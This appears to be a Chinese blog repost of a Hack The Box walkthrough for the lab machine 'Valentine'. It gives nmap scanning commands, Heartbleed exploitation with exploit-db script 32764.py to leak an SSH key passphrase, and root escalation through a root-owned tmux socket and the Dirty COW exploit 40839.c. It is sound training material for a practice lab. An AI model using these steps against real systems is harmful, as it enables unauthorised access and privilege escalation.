Valentine

admin 2025年1月22日14:02:06评论6 views字数 1464阅读4分52秒阅读模式

Valentine

https://app.hackthebox.com/machines/127

受害者ip:10.10.10.79

攻击者ip:10.10.16.4

参考:https://0xdf.gitlab.io/2018/07/28/htb-valentine.html

https://segmentfault.com/a/1190000041117332

端口扫描,开放22,80,443

ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.79 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)            nmap -p$ports -sC -sV 10.10.10.79             

Valentine

80端口一张图

Valentine

目录扫描

http和https的内容是一样的

Valentine

dev目录是hype的id_rsa

将16进制转换成ASCII字符串

https://www.unit-conversion.info/texttools/hexadecimal/#data

Valentine

Valentine

http://10.10.10.79/dev/notes.txt

Valentine

encode和decode存在xss

encode就是把输入的加密成base64decode就是base64解密输入的内容

Valentine

Valentine

Valentine

发现这里需要id_rsa的秘密

Valentine

使用nmap的漏洞集合插进扫描发现存在心脏滴血漏洞

nmap --script=vuln -sV -Pn 10.10.10.79 -p 443 

Valentine

使用nmap的ssl-heartbleed证实

nmap --script ssl-heartbleed -p 443 10.10.10.79

Valentine

找到利用脚本

searchsploit heartbleed

Valentine

漏洞利用。可以看到有一段base64密文

python2 32764.py 10.10.10.79 -p 443

nRibGVlZGJlbGlld mV0aGVoeXBlCg==

Valentine

解密后是heartbleedbelievethehype

no mutual signature supported误通常与 SSH 签名算法的兼容性有关

方法1

ssh -i id_rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa [email protected]

Valentine

方法二:

使用旧版 SSH 配置

有就修改,没有就创建

~/.ssh/config

Host 10.10.10.79            PubkeyAcceptedAlgorithms +ssh-rsa            HostKeyAlgorithms +ssh-rsa            

Valentine

提权1 tmux提权

使用history查看历史命令

tmux -S /.devs/dev_sess

Valentine

直接获得root权限

tmux -S /.devs/dev_sess

Valentine

提权2 脏牛提权

uname -a发现内核版本较低

Dirty COW 漏洞(CVE-2016-5195)影响的 Linux 内核版本范围是 2.6.22 到 4.8.3(以及更早未修复的 LTS 内核版本)。内核3.2.0-23-generic 是在漏洞的影响范围内

Valentine

下载提权脚本

searchsploit dirty 

cp /usr/share/exploitdb/exploits/linux/local/40839.c /var/www/html

Valentine

输入密码后切换用户firefart获得root权限

gcc -pthread 40839.c -o exp -lcrypt

chmod +x exp

./exp

Valentine

原文始发于微信公众号(王之暴龙战神):Valentine

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月22日14:02:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Valentinehttps://cn-sec.com/archives/3659660.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息